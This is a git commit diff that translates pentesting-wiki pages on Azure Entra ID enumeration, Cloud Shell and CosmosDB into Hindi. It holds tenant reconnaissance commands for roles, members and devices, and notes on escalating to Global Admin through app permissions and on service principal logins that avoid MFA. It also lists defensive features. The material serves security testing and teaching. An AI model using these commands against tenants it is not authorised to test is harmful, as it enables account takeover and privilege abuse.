Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:54:19 +00:00
parent f51277832e
commit 2bead2e9a6
33 changed files with 644 additions and 936 deletions

View File

@@ -4,7 +4,7 @@
## Basic Information
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, माइक्रोसॉफ्ट 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है।
@@ -224,7 +224,7 @@ az account tenant list
{{#endtab }}
{{#endtabs }}
### Users
### उपयोगकर्ता
Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:
@@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA की आवश्यकता होगी यदि** वह किसी विशेष स्थान, ब्राउज़र या **कुछ शर्त** से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये **bypasses** के प्रति संवेदनशील हो सकती हैं। जाँच करें:
हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA की आवश्यकता होगी यदि** वह किसी विशेष स्थान, ब्राउज़र या **कुछ शर्त** से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये **bypasses** के प्रति संवेदनशील हो सकती हैं। जांचें:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -373,7 +373,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Groups
Entra ID समूहों के बारे में अधिक जानकारी के लिए जाँच करें:
Entra ID समूहों के बारे में अधिक जानकारी के लिए जांचें:
{{#ref}}
../az-basic-information/
@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **उच्चीकृत** हो सकता है।\
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **escalate** कर सकता है।\
> अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
@@ -800,9 +800,9 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
> इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\
> ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\
> **एप्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\
> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा।
> इन सेवा प्रिंसिपलों के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा।
Microsoft के सामान्य उपयोग किए जाने वाले ऐप IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
Microsoft के सामान्य उपयोग किए जाने वाले ऐप आईडी की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
### Managed Identities
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#endtab }}
{{#endtabs }}
```
{{#endtab }}
{{#tab name="Raw" }}
```bash
# एक संसाधन पर सीधे ARM का उपयोग करके अनुमतियाँ प्राप्त करें
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
@@ -913,13 +906,12 @@ Headers = @{
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Entra ID भूमिकाएँ
For more information about Azure roles check:
Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-basic-information/
@@ -927,134 +919,125 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Entra ID भूमिकाओं की सूची टेम्पलेट
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# सक्षम अंतर्निहित Entra ID भूमिकाओं की सूची
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# सभी Entra ID भूमिकाओं की सूची उनके अनुमतियों के साथ (कस्टम भूमिकाओं सहित)
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# केवल कस्टम Entra ID भूमिकाओं की सूची
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# सभी असाइन की गई Entra ID भूमिकाओं की सूची
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# Entra ID भूमिकाओं के सदस्यों की सूची
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# एक उपयोगकर्ता को असाइन की गई Entra ID भूमिकाओं की सूची
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# एक समूह को असाइन की गई Entra ID भूमिकाओं की सूची
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# एक सेवा प्रिंसिपल को असाइन की गई Entra ID भूमिकाओं की सूची
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# सभी उपलब्ध भूमिका टेम्पलेट प्राप्त करें
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# सक्षम भूमिकाएँ (असाइन की गई भूमिकाएँ)
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #भूमिका के बारे में जानकारी प्राप्त करें
# कस्टम भूमिकाएँ - AzureAdPreview का उपयोग करें
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# भूमिका असाइन किए गए उपयोगकर्ता (ग्लोबल प्रशासक)
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# प्रशासनिक इकाई की भूमिकाएँ (जिसके पास प्रशासनिक इकाई और इसके सदस्यों पर अनुमतियाँ हैं)
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### उपकरण
{{#tabs }}
{{#tab name="az cli" }}
```bash
# यदि आप यह करना जानते हैं तो एक PR भेजें!
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Microsoft Graph PowerShell का उपयोग करके उपकरणों की गणना करें
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
# उपकरण विवरण प्राप्त करें
# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *
# Intune का उपयोग करके प्रबंधित उपकरण प्राप्त करें
# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
# एक उपयोगकर्ता द्वारा स्वामित्व वाले उपकरण प्राप्त करें
# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
# Microsoft Graph PowerShell में उपलब्ध आदेशों की सूची बनाएं
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# उपकरणों की गणना करें
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# सभी सक्रिय उपकरणों की सूची बनाएं (और पुराने उपकरण नहीं)
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# सभी उपकरणों के मालिक प्राप्त करें
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# सभी उपकरणों के पंजीकृत उपयोगकर्ता
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Intune का उपयोग करके प्रबंधित उपकरण प्राप्त करें
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# एक उपयोगकर्ता द्वारा स्वामित्व वाले उपकरण प्राप्त करें
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# एक उपकरण की प्रशासनिक इकाइयाँ प्राप्त करें
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> यदि एक डिवाइस (VM) **AzureAD से जुड़ा** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम** होंगे।\
> इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का **स्वामी** है, तो वह **स्थानीय व्यवस्थापक** होगा।
### Administrative Units
### प्रशासनिक इकाइयाँ
For more information about administrative units check:
प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-basic-information/
@@ -1062,22 +1045,19 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# सभी प्रशासनिक इकाइयों की सूची बनाएं
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# AU जानकारी प्राप्त करें
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# सदस्यों को प्राप्त करें
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# AU पर भूमिकाओं के साथ प्रिंसिपल प्राप्त करें
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
@@ -1089,77 +1069,76 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Entra ID विशेषाधिकार वृद्धि
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Azure विशेषाधिकार वृद्धि
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## रक्षात्मक तंत्र
### Privileged Identity Management (PIM)
### विशेषाधिकार पहचान प्रबंधन (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को उपयोगकर्ताओं को अनावश्यक रूप से सौंपने से **रोकने** में मदद करता है।
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे यह बताना होगा कि उसे विशेषाधिकार की आवश्यकता कितने समय के लिए है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा।
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो।
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
जब PIM सक्षम होता है, तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव होता है जैसे:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- सक्रियण की अधिकतम अवधि (घंटे)
- सक्रियण पर MFA की आवश्यकता
- शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता
- सक्रियण पर औचित्य की आवश्यकता
- सक्रियण पर टिकट जानकारी की आवश्यकता
- सक्रिय करने के लिए अनुमोदन की आवश्यकता
- योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय
- जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए और भी बहुत सी कॉन्फ़िगरेशन
### Conditional Access Policies
### शर्तीय पहुँच नीतियाँ
Check:
जांचें:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection
### Entra पहचान सुरक्षा
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने** की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है, तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **अक्षम** है:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> आजकल, इन प्रतिबंधों को शर्तीय पहुँच नीतियों के माध्यम से जोड़ने की सिफारिश की जाती है जहाँ समान विकल्पों को कॉन्फ़िगर करना संभव है।
### Entra Password Protection
### Entra पासवर्ड सुरक्षा
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है** जब कई असफल लॉगिन प्रयास होते हैं, तो खातों को लॉक करके।\
यह एक **कस्टम पासवर्ड सूची** को भी **बैन** करने की अनुमति देती है जिसे आपको प्रदान करना होगा।
It can be **applied both** at the cloud level and on-premises Active Directory.
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर लागू किया जा सकता है।
The default mode is **Audit**:
डिफ़ॉल्ट मोड **ऑडिट** है:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## संदर्भ
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)

View File

@@ -12,20 +12,20 @@
**Environment**: Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है जो Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण है जिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए गए हैं ताकि सप्लाई चेन हमलों से सुरक्षा की जा सके।
**Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां फ़ाइलें सत्र समाप्त होने पर हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
**Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।
## References
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,27 @@
## Azure CosmosDB
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल अंकों में मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ एंटरप्राइज-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-रीजन डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और AI डेटाबेस सुविधाओं जैसे एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ उद्यम-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-क्षेत्र डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण जैसी AI डेटाबेस सुविधाओं के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-वैल्यू, ग्राफ, और कॉलम-फैमिली डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-मान, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से लेकर Eventual consistency तक के विकल्प होते हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें मजबूत से अंततः स्थिरता तक के विकल्प होते हैं।
### NoSQL (sql)
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनता है। सेवा का एंडपॉइंट है:
{% code overflow="wrap" %}
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनता है। सेवा का एंडपॉइंट है:
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### Databases
एक खाते के भीतर, आप एक या एक से अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं।
#### डेटाबेस
